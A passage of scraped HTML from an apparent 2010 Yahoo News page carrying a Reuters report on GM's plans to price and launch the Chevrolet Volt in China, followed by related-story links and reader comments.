           </tr>\n                        <tr class=\"ult-position \">\n                <td class=\"first\">\n                    <a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBCANu.aF4;_ylu=X3oDMTEzcnI2cXJvBHBvcwM1BHNlYwN5bl9yXzNzbG90X3N0b2NrBHNsawNnc3Bj?s=^GSPC\" >\n                        <abbr title=\"S&P 500 INDEX,RTH\">^GSPC</abbr>\n                    </a>\n                </td>\n                <td>1,049.33</td>\n                <td class=\"positive\">+0.41</td>\n            </tr>\n                        <tr class=\"ult-position alternative\">\n                <td class=\"first\">\n                    <a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBCQNu.aF4;_ylu=X3oDMTEzZGx0ZzFqBHBvcwM2BHNlYwN5bl9yXzNzbG90X3N0b2NrBHNsawNpeGlj?s=^IXIC\" >\n                        <abbr title=\"NASDAQ Composite\">^IXIC</abbr>\n                    </a>\n                </td>\n                <td>2,114.03</td>\n                <td class=\"negative\">-5.94</td>\n            </tr>\n                    </tbody>\n    </table>\n    \n    <!-- SpaceID=2023881070 loc=FB noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['52FLBkoGYmQ-']='&U=12a4sivt8%2fN%3d52FLBkoGYmQ-%2fC%3d-1%2fD%3dFB%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1avo894p4%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d4189814197%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12a4sivt8%2fN%3d52FLBkoGYmQ-%2fC%3d-1%2fD%3dFB%2fB%3d-1%2fV%3d0\"></noscript><!-- SpaceID=2023881070 loc=FB noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['6GFLBkoGYmQ-']='&U=12ao3j7qk%2fN%3d6GFLBkoGYmQ-%2fC%3d-1%2fD%3dFB%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1auestpa3%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d345958507%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12ao3j7qk%2fN%3d6GFLBkoGYmQ-%2fC%3d-1%2fD%3dFB%2fB%3d-1%2fV%3d0\"></noscript></div>\n    \n    </div>\n                                    \n        </div><!-- end .primary-media -->\n                \n                \n    </div><!-- end .related-media -->\n\n\n\n    \n        \n<div class=\"byline\">\n        <cite class=\"vcard\">\n        \n            \n                  <span class=\"fn org\">\n            \n          </span>\n    </cite>\n    &ndash;\n    <abbr title=\"2010-08-31T04:21:56-0700\" class=\"timedate\">Tue&nbsp;Aug&nbsp;31, 7:21&nbsp;am&nbsp;ET</abbr></div><!-- end .byline -->\n\n\n\n            <div class=\"yn-story-content\">\n                <p>SHANGHAI (Reuters) &ndash; General Motors expects competitive pricing for its electric Chevrolet Volt in China as it hopes to gain a foothold in China&#39;s fledgling environmentally friendly car industry with the highly anticipated car.</p>\n                <p>\nKevin Wale, president and managing director of GM China, said the launch of Chevrolet Volt, expected in the second half of 2011, is key to the Detroit-based carmaker&#39;s broader strategy to grow its electric car business in China after Beijing unveiled subsidy measures for the sector.</p>\n                <p>\nWale said the selling price of Chevrolet Volt in China will only be unveiled when it is officially launched.</p>\n                <p>\n&quot;I believe the pricing will be competitive,&quot; he told a news conference in Shanghai on Tuesday.</p>\n                <p>\nIn July, GM said its electric Chevrolet Volt will be sold in the United States at &#36;41,000 -- &#36;8,000 more than its nearest competitor, the Nissan Leaf.</p>\n                <p>\nThe U.S. automaker expects to produce 10,000 Volts for the 2011 model year and about 30,000 for 2012.</p>\n                <p>\nChina will spend more than 100 billion yuan (&#36;14.70 billion) to subsidize the electric car industry over the next 10 years, local media reported.</p>\n                <p>\n&quot;China is the country that needs to move to electrification more than any other country and we know the government wants to move to electrification so we want to participate in that movement,&quot; Wale said.</p>\n                <p>\nHowever, the Chevrolet Volt will likely face fierce competition in the domestic market where smaller rivals are making and selling similar products at a much lower price.</p>\n                <p>\nChinese carmaker BYD, backed by U.S. billionaire Warren Buffett, said it plans to export large quantities of its E6 electric car in the United States where it will be competing head on with the likes of Nissan&#39;s Leaf and GM&#39;s Volt.</p>\n                <p>\nDespite rising competition, Wale said GM China has not sacrificed its profitability for sales growth.</p>\n                <p>\n&quot;It&#39;s our responsibility to be successful in China, successful means to grow volume in China, and successful means to generate profitability for our shareholders and to generate enough cash to be reinvested in our business,&quot; he said.</p>\n                <p>\n&quot;We are doing all of those and we are going to continue to run a strong, balanced business in China and we will continue to grow,&quot; he said.</p>\n                <p>\n(&#36;1=6.802 Yuan)</p>\n                <p>\n(Reporting by Soo Ai Peng; Editing by Jacqueline Wong)</p>\n                <p></p>\n            </div>\n<div class=\"yn-share-social\">Follow Yahoo! News on <a class=\"twitter\" href=\"http://twitter.com/yahoonews\">Twitter</a>, become a fan on <a class=\"facebook\" href=\"http://www.facebook.com/yahoonews\">Facebook</a></div>        \n        \n    </div><!-- end: .bd -->\n    \n    <div class=\"ft\">\n\n        \n\n        <div id=\"yn-story-share\">\n            \n            \n                <ul id=\"bottom\" class=\"tools mod ult-section\">\n            <li class=\"buzz ult-position\">\n    \n                    \n        <form method=\"post\" action=\"http://buzz.yahoo.com/vote/\" class=\"buzz\" id=\"buzz-bottom\">\n            <input type=\"hidden\" name=\"publisherurn\" value=\"y_news\">\n            <input type=\"hidden\" name=\"guid\" value=\"nm/20100831/us_gm_china\">\n            <input type=\"hidden\" name=\".done\" value=\"/article/y_news/nm/20100831/us_gm_china\">\n            <input type=\"hidden\" name=\"assettype\" value=\"article\">\n            <input type=\"hidden\" name=\"votetype\" value=\"1\">\n            <input type=\"hidden\" name=\"from\" value=\"orion\">\n            <input type=\"hidden\" name=\"redirect\" value=\"1\">\n            <input type=\"hidden\" name=\"key\" value=\"b1713\">\n            <input type=\"hidden\" name=\".crumb\" value=\"OqSudfuYUf0\">\n            <input type=\"hidden\" name=\"logged\" value=\"0\">\n            <input type=\"hidden\" name=\"language\" value=\"en-US\">\n            <input type=\"hidden\" name=\"market\" value=\"us\">\n            <button type=\"submit\">Buzz up!<span class=\"right\"></span></button>\n        </form>\n        \n                    </li>\n            <li>\n              <div class=\"ymsb ymsb-facebook ymsb-retweet ymsb-mail ymsb-print\"></div>\n            </li>\n                                </ul>\n        <!-- end: .tools -->\n\n    \n\n        </div>\n        \n        <script type=\"text/javascript\">\n(function() {\n\n    /**\n     * YUI function to get all elements by class name\n     * getElementsByClass\n     */\n    function getElementsByClass(className, tag, root) {\n        tag = tag || '*';    \n        root = (typeof root == 'string') ? document.getElementById(root) : root || document;\n    \n        var nodes = [],\n            elements = root.getElementsByTagName(tag),\n            re = new RegExp('(?:^|\\\\s+)' + className + '(?:\\\\s+|$)');\n    \n        for (var i = 0, len = elements.length; i < len; ++i) {\n            if ( re.test(elements[i].className) ) {\n                nodes[nodes.length] = elements[i];\n            }\n        }\n        return nodes;\n    }\n    \n    /**\n     * This code displays the expand button as the page loads. This prevents any lag in displaying\n     * the button if the page takes a long time to load. If the user clicks the button before the page\n     * loads then we just show the full story without animation. Thus, preventing the full implementation\n     * from loading.\n     */\n    var story = document.getElementById('yn-story');\n    var related = document.getElementById('yn-story-related-media');\n    var expandCookie = '0';\n    \n    if (\n        // make sure read-more-toggle flag exists\n        (story && story.className.indexOf('read-more-toggle') != -1) &&\n        // if user preference is 0 then collapse story\n        expandCookie == '0' && \n        // make sure hash is not set\n        window.location.hash!='#full'\n       )\n    {\n        var buttonHeight = 18;\n        var defaultHeight = 406;\n        var heightLimit = 200;\n        var host = document.location.host;\n        var path = document.location.pathname;\n        var bd = getElementsByClass('bd','div',story)[0];\n        \n        // Figure out min height for story container based on the heights of the related media and primary media containers\n        if (related)\n        {                \n            // do height calculations if related height is larger than default minHeight\n            if (related.offsetHeight > defaultHeight) {\n            \n                // if primary exists then use that height, otherwise use related\n                var obj = getElementsByClass('primary-media','div',related)[0];\n                if (!obj) obj = related;\n                \n                // set height from primary or related container\n                minHeight = parseInt(obj.offsetHeight, 10);\n                \n                // if the minheight is smaller than default, then set it to default\n                if (\n                    (minHeight < defaultHeight) &&\n                    !document.getElementById('yn-story-main-media') && \n                    !document.getElementById('yn-story-minor-media')\n                   )\n                {\n                    minHeight = defaultHeight;\n                }\n            } else {\n                minHeight = defaultHeight;\n            }\n        } else {\n            minHeight = defaultHeight;\n        }\n        \n        // add height of buttons to min height\n        minHeight += buttonHeight;\n            \n        // make sure there is enough story to hide\n        if ((bd.offsetHeight - minHeight) > heightLimit)\n        {\n            // set overflow and height\n            bd.style.height = minHeight + \"px\";\n            bd.className += \" overflow\";\n            story.className += \" read-closed\";\n            \n            // add read more expand button\n            var div = document.createElement('div');\n            div.className = 'read-more read-more-expand';\n            div.innerHTML = '<a href=\"http://'+host+path+'\" id=\"yn-bodycontrol\" class=\"ult-nofollow ult-section\" accesskey=\"m\" title=\"Press CTRL + SHIFT + M to toggle\" mapleUltPriority=\"1000\"><em><span>Read Full Article</span></em></a>';\n    \n            // we have to handle the case where a user might click the button before our YUI script loads\n            // if so, remove the height and overflow setting then hide the button, also add #full hash to url so\n            // if script eventually is loaded it doesnt recreate the buttons and collapse the story\n            div.onclick = function(ev) {\n                var e = ev || window.event;\n                \n                // show full story\n                bd.style.height = 'auto';\n                bd.className = bd.className.replace('overflow','expanded');\n                story.className = story.className.replace('read-closed','');\n                \n                // hide the toggle button\n                div.className += ' hide';\n                \n                // disable link follow\n                if (e.preventDefault) {\n                    e.preventDefault();\n                } else {\n                    e.returnValue = false;\n                }\n            }\n            \n            // add div to document\n            bd.appendChild(div);\n        }\n    \n    }\n\n})();\n</script>\n        \n    </div><!-- end .ft -->\n\n</div><!-- end: #story -->\n\n<div id=\"yn-story-related-content\" class=\"yui-g mod related-content-style\">\n\n        <div id=\"yn-r-b-left\" class=\"yui-u first ult-section\">\n    \n        <h3>More on Asia</h3>\n        \n        <ul class=\"list list4 list6 size1\">\n                        <li class=\"first\">\n                <a href=\"/s/nm/20100831/bs_nm/us_usa_china_currency_4;_ylt=A2KIKvTWiH1Ml3sBCgNu.aF4;_ylu=X3oDMTE2OTFkNXQxBHBvcwMxBHNlYwN5bi1yLWItbGVmdARzbGsDZXYtdS5zLnR1cm5z\" class=\"showtt\" rel=\":nm:20100831:bs_nm:us_usa_china_currency_4\">\n                                        U.S. turns down China currency probes in two cases                </a>\n                \n                                <cite>Reuters</cite>\n                            </li>\n                        <li class=\"\">\n                <a href=\"/s/ap/20100831/ap_on_bi_ge/us_fed_china_morgan_stanley_2;_ylt=A2KIKvTWiH1Ml3sBCwNu.aF4;_ylu=X3oDMTE2MmM4ZGVuBHBvcwMyBHNlYwN5bi1yLWItbGVmdARzbGsDZXYtZmVkYXBwcm92\" class=\"showtt\" rel=\":ap:20100831:ap_on_bi_ge:us_fed_china_morgan_stanley_2\">\n                                        Fed approves sale of Morgan Stanley stock shares                </a>\n                \n                                <cite>AP</cite>\n                            </li>\n                        <li class=\"\">\n                <a href=\"/s/nm/20100831/wl_nm/us_afghanistan_3\" class=\"showtt\" rel=\":nm:20100831:wl_nm:us_afghanistan_3\">\n                                        Afghan withdrawal won&#39;t be a &quot;hand-off&quot;: Petraeus                </a>\n                \n                                <cite>Reuters</cite>\n                            </li>\n                    </ul>\n        \n                <a href=\"http://news.yahoo.com/i/2227;_ylt=A2KIKvTWiH1Ml3sBDANu.aF4;_ylu=X3oDMTE4azhjOTIwBHBvcwM0BHNlYwN5bl9zdG9yeV9yZWxhdGVkBHNsawNtb3JlcmFxdW8-\" class=\"more size1\">More &raquo;</a>\n                \n    </div>\n        \n        <div id=\"yn-r-b-right\" class=\"yui-u  ult-section\">\n    \n        <h3>More...</h3>\n        \n        <ul class=\"list list4 list6 size1\">\n                        <li class=\"first video\">\n                <a href=\"http://us.rd.yahoo.com/dailynews/external/cnbc/av_cnbc/93f653138348df2d6551824f0a0b2bb3/37408778;_ylt=A2KIKvTWiH1Ml3sBDQNu.aF4;_ylu=X3oDMTE2NGFhbTlnBHBvcwM1BHNlYwN5bi1yLWItcmlnaHQEc2xrA3ZpZC11bi1saW5r/*http://news.yahoo.com/video/business-15749628/21680520\" class=\"showtt\" rel=\":cnbc:20100831:av_cnbc:_yahoonewsvideo_business1579288183__21680516\">\n                                        <strong>Business Video:</strong> \n                                        Should You Buy Housing Stocks on the Dip?                </a>\n                \n                                <cite>\n                    <a href=\"/i/3245;_ylt=A2KIKvTWiH1Ml3sBDgNu.aF4;_ylu=X3oDMTE3amNpYnZ0BHBvcwM2BHNlYwN5bi1yLWItcmlnaHQEc2xrA3ZpZC11bi1wcm92aQ--\" >CNBC</a>\n                </cite>\n                            </li>\n                        <li class=\"video\">\n                <a href=\"http://us.rd.yahoo.com/dailynews/external/cnbc/av_cnbc/3a6c3e44ad7166a0edd3b8437b1b1fc5/37408779;_ylt=A2KIKvTWiH1Ml3sBDwNu.aF4;_ylu=X3oDMTE2YWxsMDF1BHBvcwM3BHNlYwN5bi1yLWItcmlnaHQEc2xrA3ZpZC11bi1saW5r/*http://news.yahoo.com/video/business-15749628/21680509\" class=\"showtt\" rel=\":cnbc:20100831:av_cnbc:_yahoonewsvideo_business1579339410__21680505\">\n                                        <strong>Business Video:</strong> \n                                        Who&#39;s &quot;Too Big To Fail?&quot;                </a>\n                \n                                <cite>\n                    <a href=\"/i/3245;_ylt=A2KIKvTWiH1Ml3sBEANu.aF4;_ylu=X3oDMTE3cWFiMGJmBHBvcwM4BHNlYwN5bi1yLWItcmlnaHQEc2xrA3ZpZC11bi1wcm92aQ--\" >CNBC</a>\n                </cite>\n                            </li>\n                        <li class=\"video\">\n                <a href=\"http://us.rd.yahoo.com/dailynews/external/cnbc/av_cnbc/63754bac73cb68616defc8ff42818aa3/37408780;_ylt=A2KIKvTWiH1Ml3sBEQNu.aF4;_ylu=X3oDMTE2Y25nY2poBHBvcwM5BHNlYwN5bi1yLWItcmlnaHQEc2xrA3ZpZC11bi1saW5r/*http://news.yahoo.com/video/business-15749628/21680501\" class=\"showtt\" rel=\":cnbc:20100831:av_cnbc:_yahoonewsvideo_business1579300283__21680498\">\n                                        <strong>Business Video:</strong> \n                                        JPM to Eliminate Commodities Prop Trading Group                </a>\n                \n                                <cite>\n                    <a href=\"/i/3245;_ylt=A2KIKvTWiH1Ml3sBEgNu.aF4;_ylu=X3oDMTE4bWpuZDFiBHBvcwMxMARzZWMDeW4tci1iLXJpZ2h0BHNsawN2aWQtdW4tcHJvdmk-\" >CNBC</a>\n                </cite>\n                            </li>\n                    </ul>\n        \n    </div>\n    </div><!-- end .related -->\n\n\n\n<div id=\"ygs-comments\" class=\"ysp-mod\">\n  <a name=\"comments\"></a>\n  \n  \n  \n  <div id=\"mwpphu-container\" class=\"mwpphu-container\">            <div class=\"mwpphu-header\">\n                <div class=\"mwpphu-left\">\n                    <h3 id=\"mwpphu-stream-header\" class=\"mwpphu-comments mwpphu-count-20 mwpphu-cmt-disabled-N \">20 Comments</h3>\n                </div>\n                <div class=\"mwpphu-right\">\n                                            <form method=\"get\" action=\"/news/common/maple/en-US/mwphucmtnojssort\" id=\"mwp-phugc-sort-form\">\n                            <label id=\"mwp-phugc-sort-form-option-lable\" for=\"mwp-phugc-sort-form-option\">Show:</label>\n                            <select name=\"SortCntrl\" id=\"mwp-phugc-sort-form-option\">\n                                <option selected value=\"/news/common/maple/en-US/mwphucmtgetcmt/headcontent/main/nmus_gm_china//date/desc/1/0\">Newest First</option><option  value=\"/news/common/maple/en-US/mwphucmtgetcmt/headcontent/main/nmus_gm_china//date/asc/1/0\">Oldest First</option><option  value=\"/news/common/maple/en-US/mwphucmtgetcmt/headcontent/main/nmus_gm_china//num_rating_up/desc/1/0\">Highest Rated</option><option  value=\"/news/common/maple/en-US/mwphucmtgetcmt/headcontent/main/nmus_gm_china//reply_count/desc/1/0\">Most Replied</option>\n                            </select>\n                            <input type=\"hidden\" name=\"basepage\" value=\"http://news.yahoo.com/s/nm/20100831/bs_nm/us_gm_china\">\n                            <input type=\"hidden\" name=\"hdcntid\" value=\"nmus_gm_china\">\n                            <noscript>\n                                <button type=\"submit\">Sort</button>\n                            </noscript>\n                        </form>\n                </div>\n            </div><div class=\"mwpphu-navigation\">\n                        <div class=\"mwpphu-left\">\n                        <div class=\"mwpphu-sprite_bg mwpphu-post-comments mwpphu-sprite_img\"></div>\n                        &nbsp;<a id=\"mwpphu-postcommentinternal\" href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\">Post a Comment</a>\n                        </div><div class=\"mwpphu-right imageloader_classname\">\n            <ul id=\"mwpphu-paging\" class=\"mwpphu-ul_links\">\n            <li id=\"mwpphu-label-paging\" class=\"mwpphu-first\">Comments 1 - 10 of 20</li><li><a class=\"mwpphu-disabled\" id=\"-date-desc-p-1-0\" href=\"#\">First</a></li><li><a class=\"mwpphu-disabled\" id=\"-date-desc-p--9-0\" href=\"#\"> <span class=\"mwpphu-sprite_bg prev_arrow_off mwpphu-disabled\"></span>Prev</a></li><li><a class=\"mwpphu-older\" id=\"-date-desc-p-11-s24768460\" href=\"http://news.yahoo.com/s/nm/20100831/bs_nm/us_gm_china?cmtnav=/mwphucmtgetnojspage/headcontent/main/nmus_gm_china//date/desc/11/s24768460\">Next<span class=\"mwpphu-sprite_bg next_arrow_on\"></span></a></li><li class=\"mwpphu-last\"><a class=\"mwpphu-oldest\" id=\"-date-asc-p-1-0\" href=\"http://news.yahoo.com/s/nm/20100831/bs_nm/us_gm_china?cmtnav=/mwphucmtgetnojspage/headcontent/main/nmus_gm_china//date/asc/1/0\">Last</a></li></ul></div></div><ul class=\"mwpphu-comments\">\n            <li id=\"mwpphu-comment-24826083\" > <div id=\"mwpphu-replycount-24826083-0\" class=\"mwpphu-comment   \"><div class=\"mwpphu-avatar\"><a href=\"http://pulse.yahoo.com/_XXKBYU5UNYCU564247GM6T6LGU\">\n\n                <img id=\"com_24826083_XXKBYU5UNYCU564247GM6T6LGU\" class=\"imageloader_classname\"  width=\"48\" height=\"48\" alt=\"Harley\" src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" style=\"background:url(http://l.yimg.com/a/i/identity/nopic_48.gif);\"></a></div><!-- end .avatar -->\n            <div class=\"mwpphu-info\">\n       \n                <div class=\"mwpphu-rate\">\n            <em id=\"cmt-rating-pos-24826083\" class=\"  mwpphu-rating-positive mwpphu-voted\">1</em> <span>users liked this comment</span>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_up_lout mwpphu-sprite_img\" id=\"cmt-rate-tu_24826083\" title=\"Please sign in to rate!\">Please sign in to rate this comment up.</a>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_down_lout mwpphu-sprite_img\" id=\"cmt-rate-td_24826083\" title=\"Please sign in to rate!\">Please sign in to rate this comment down.</a>\n                    <em id=\"cmt-rating-neg-24826083\" class=\" mwpphu-rating-negetive mwpphu-rating-zero\">0</em> <span>users disliked this comment</span></div><cite> <a target=\"_blank\" href=\"http://pulse.yahoo.com/_XXKBYU5UNYCU564247GM6T6LGU\"><strong>Harley</strong></a>  <span class=\"mwpphu-timestamp\"><abbr title=\"2010-08-31T18:39:06-0700\">4 hours ago</abbr></span> <a target=\"mwphcomReportAbuse\" href=\"http://help.yahoo.com/l/us/yahoo/news/forms/abuse_articles.html?eaci=XXKBYU5UNYCU564247GM6T6LGU&commentid=24826083\" class=\" abuse \">Report Abuse</a> </cite><blockquote class=\"mwpphu-commenttext\">GM you may as well move to China, your done here. You have progressively ruined the top car maker in the USA. good job jackholes.</blockquote></div><!-- end .mwpphu-info --></div><!-- end .mwpphu-bd --></li>\n            <li id=\"mwpphu-comment-24817915\" > <div id=\"mwpphu-replycount-24817915-0\" class=\"mwpphu-comment   \"><div class=\"mwpphu-avatar\"><a href=\"http://pulse.yahoo.com/_NGU3DAAIHVPK6K3B7Z323X6IXM\">\n\n                <img id=\"com_24817915_NGU3DAAIHVPK6K3B7Z323X6IXM\" class=\"imageloader_classname\"  width=\"48\" height=\"48\" alt=\"Jack\" src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" style=\"background:url(http://l.yimg.com/a/i/identity/nopic_48.gif);\"></a></div><!-- end .avatar -->\n            <div class=\"mwpphu-info\">\n       \n                <div class=\"mwpphu-rate\">\n            <em id=\"cmt-rating-pos-24817915\" class=\"  mwpphu-rating-positive mwpphu-rating-zero\">0</em> <span>users liked this comment</span>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_up_lout mwpphu-sprite_img\" id=\"cmt-rate-tu_24817915\" title=\"Please sign in to rate!\">Please sign in to rate this comment up.</a>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_down_lout mwpphu-sprite_img\" id=\"cmt-rate-td_24817915\" title=\"Please sign in to rate!\">Please sign in to rate this comment down.</a>\n                    <em id=\"cmt-rating-neg-24817915\" class=\" mwpphu-rating-negetive mwpphu-rating-zero\">0</em> <span>users disliked this comment</span></div><cite> <a target=\"_blank\" href=\"http://pulse.yahoo.com/_NGU3DAAIHVPK6K3B7Z323X6IXM\"><strong>Jack</strong></a>  <span class=\"mwpphu-timestamp\"><abbr title=\"2010-08-31T17:51:52-0700\">5 hours ago</abbr></span> <a target=\"mwphcomReportAbuse\" href=\"http://help.yahoo.com/l/us/yahoo/news/forms/abuse_articles.html?eaci=NGU3DAAIHVPK6K3B7Z323X6IXM&commentid=24817915\" class=\" abuse \">Report Abuse</a> </cite><blockquote class=\"mwpphu-commenttext\">China is non union.   Export Volt to the USA.</blockquote></div><!-- end .mwpphu-info --></div><!-- end .mwpphu-bd --></li>\n            <li id=\"mwpphu-comment-24810979\" > <div id=\"mwpphu-replycount-24810979-0\" class=\"mwpphu-comment   \"><div class=\"mwpphu-avatar\"><a href=\"http://pulse.yahoo.com/_Y4T2AEEY6TUFWOA3XVOJX6YAZU\">\n\n                <img id=\"com_24810979_Y4T2AEEY6TUFWOA3XVOJX6YAZU\" class=\"imageloader_classname\"  width=\"48\" height=\"48\" alt=\"tommy\" src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" style=\"background:url(http://l.yimg.com/a/i/identity/nopic_48.gif);\"></a></div><!-- end .avatar -->\n            <div class=\"mwpphu-info\">\n       \n                <div class=\"mwpphu-rate\">\n            <em id=\"cmt-rating-pos-24810979\" class=\"  mwpphu-rating-positive mwpphu-voted\">1</em> <span>users liked this comment</span>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_up_lout mwpphu-sprite_img\" id=\"cmt-rate-tu_24810979\" title=\"Please sign in to rate!\">Please sign in to rate this comment up.</a>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_down_lout mwpphu-sprite_img\" id=\"cmt-rate-td_24810979\" title=\"Please sign in to rate!\">Please sign in to rate this comment down.</a>\n                    <em id=\"cmt-rating-neg-24810979\" class=\" mwpphu-rating-negetive mwpphu-rating-zero\">0</em> <span>users disliked this comment</span></div><cite> <a target=\"_blank\" href=\"http://pulse.yahoo.com/_Y4T2AEEY6TUFWOA3XVOJX6YAZU\"><strong>tommy</strong></a>  <span class=\"mwpphu-timestamp\"><abbr title=\"2010-08-31T17:10:46-0700\">5 hours ago</abbr></span> <a target=\"mwphcomReportAbuse\" href=\"http://help.yahoo.com/l/us/yahoo/news/forms/abuse_articles.html?eaci=Y4T2AEEY6TUFWOA3XVOJX6YAZU&commentid=24810979\" class=\" abuse \">Report Abuse</a> </cite><blockquote class=\"mwpphu-commenttext\">so the american tax payer is going to subsidize the car for the chinese to buy. wonderful.</blockquote></div><!-- end .mwpphu-info --></div><!-- end .mwpphu-bd --></li>\n            <li id=\"mwpphu-comment-24794015\" > <div id=\"mwpphu-replycount-24794015-0\" class=\"mwpphu-comment   \"><div class=\"mwpphu-avatar\"><a href=\"http://pulse.yahoo.com/_CEO3GYZ2F6QF3Z5XPMYP7DAZU4\">\n\n                <img id=\"com_24794015_CEO3GYZ2F6QF3Z5XPMYP7DAZU4\" class=\"imageloader_classname\"  width=\"48\" height=\"48\" alt=\"Robert\" src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" style=\"background:url(http://a323.yahoofs.com/coreid/4bbcf58ei107fzws124sp2/uquzEisjc6mffeSaJrqlxA--/2/tn48.jpeg?ciAQ2PNBkX4.6ohX);\"></a></div><!-- end .avatar -->\n            <div class=\"mwpphu-info\">\n       \n                <div class=\"mwpphu-rate\">\n            <em id=\"cmt-rating-pos-24794015\" class=\"  mwpphu-rating-positive mwpphu-voted\">3</em> <span>users liked this comment</span>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_up_lout mwpphu-sprite_img\" id=\"cmt-rate-tu_24794015\" title=\"Please sign in to rate!\">Please sign in to rate this comment up.</a>\n                    <a href=\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\" class=\"mwpphu-sprite_bg blue_thumb_down_lout mwpphu-sprite_img\" id=\"cmt-rate-td_24794015\" title=\"Please sign in to rate!\">Please sign in to rate this comment down.</a>\n                    <em id=\"cmt-rating-neg-24794015\" class=\" mwpphu-rating-negetive mwpphu-voted-neg\">1</em> <span>users disliked this comment</span></div><cite> <a target=\"_blank\" href=\"http://pulse.yahoo.com/_CEO3GYZ2F6QF3Z5XPMYP7DAZU4\"><strong>Robert</strong></a>  <span class=\"mwpphu-timestamp\"><abbr title=\"2010-08-31T15:23:27-0700\">7 hours ago</abbr></span> <a target=\"mwphcomReportAbuse\" href=\"http://help.yahoo.com/l/us/yahoo/news/forms/abuse_articles.html?eaci=CEO3GYZ2F6QF3Z5XPMYP7DAZU4&commentid=24794015\" class=\" abuse \">Report Abuse</a> </cite><blockquote class=\"mwpphu-commenttext\">GM moved their Buick City Complex to China at least 15 years ago guess they maybe able to sell something there as they are done here</blockquote></div><!-- end .mwpphu-info --></div><!-- end .mwpphu-bd --></li>\n            <li id=\"mwpphu-comment-24788522\" > <div id=\"mwpphu-replycount-24788522-1\" class=\"mwpphu-comment   \"><div class=\"mwpphu-avatar\"><a href=\"http://pulse.yahoo.com/_4H4KUDNLRF4YSRCJTOJTINF534\">\n\n                <img id=\"com_24788522_4H4KUDNLRF4YSRCJTOJTINF534\" class=\"imageloader_classname\"  width=\"48\" height=\"48\" alt=\"Tobor\" src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" style=\"background:url(http://a323.yahoofs.com/coreid/4c48a29di26fbzws108mud/BS2XGmU7fugltQorMRQx6mw-/5/tn48.jpeg?ciAQ2PNBDDI0vdq7);\"></a></div><!-- end .avatar -->\n            <div class=\"mwpphu-info\">\n       \n                <div class=\"mwpphu-rate\">\n            <em id=\"cmt-rating-pos-24788522\" class=\"  mwpphu-rating-positive mwpphu-voted\">5</em> <span>users liked this comment</span>\n                    <a 